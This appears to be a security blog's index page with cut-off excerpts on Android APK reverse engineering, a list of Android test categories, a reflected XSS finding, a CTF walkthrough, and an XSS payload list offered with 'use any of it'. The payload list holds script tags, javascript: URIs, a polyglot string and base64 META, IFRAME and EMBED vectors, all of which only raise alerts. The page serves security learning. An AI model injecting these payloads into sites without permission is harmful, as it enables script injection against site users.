Just A N00B Thinking

There are many simple ways to do reverse engineering (first step towards Mobile application security). As of today, there are various mobile platforms available. We will keep our primary focus on Android, IOS, Windows and Blackberry. Reverse engineering Android Mobile App (APK File): 1.     Select the APK file you want to reverse engineer. Using any extractor like 7zip, extract the files. 2.       Now you can see a file named classes.dex. 3.       Using the tool   dex2jar  to convert classes.dex into a readable jar. Command : dex2jar.bat classes.dex 4.   Now using any Java decompiler, you can open the newly converted file "classes_dex2jar". In my case i am using   jdgui , a free tool. 5.       Now you can see all the packages and class files inside it. 6.       Look for hard-coded sensitive information in the code (if code is ...

Here we go: use any of it (depending on situation) <script>alert(123)</script> <script>alert("hellox worldss");</script> javascript:alert("hellox worldss") <img src="javascript:alert('XSS');"> <img src=javascript:alert(&quot;XSS&quot;)> <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> <IFRAME SRC="javascript:alert('XSS');"></IFRAME> <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOn...

Android Client-Side Attacks and Tests CATEGORY TEST NAME Information Gathering Reverse Engineering the Application Code Testing for Common Libraries and Fingerprinting Enumeration of Application Known Controllers Information Disclosure by Logcat Application Local Storage Flaws Hidden Secrets in the Code Storing Sensitive Data on Shared Storage (exposed to all applications without any restrictions) Cryptographic Based Storage Strength Content Providers Access Permissions Content Providers SQL Injection Privacy and Metadata Leaks IPC Security User Propriety Data in Logcat Technical Valuable Data in Logcat Exposed Components and Cross Application Authorization Permissions & Digital Signature Data Sharing Issues Clipboard Separation Public Intents and Unauthenticated Data Sources Privacy Breaches Public Intents and Authorization Flaws Code Puzzling and Abusing Application State Race Conditions, Deadlocks and Concurrency Threats In Device Denial of Servi...

Here how I found reflected XSS in Simplybook.me

In this walkthrough i’ll show you how i find 7 flags, this CTF is provided by Silexsecure and his team. A big thanks to you guys :) So the very first approach of every CTF is that, you should know how to gather information, read every small info related to CTF, this would help you to solve machines. In this CTF information gathering is playing a very important role. In this VM we have to find 7 flags and some data through file. Let’s the game begin, but before starting the CTF make sure you have done proper network settings in VM. Flag 1- The very first thing, do some information gathering, so i started looking at source code and at the last of source code i found some information. As you can see here i found some scripts. So i start looking at every script which is related to this CTF. But the attention i got in which script that was the  base64 encoded code “RmxhZyAwIChuZXRkaXNjb3Zlcik=" this code was include with script tag. So i found something fishy here, ...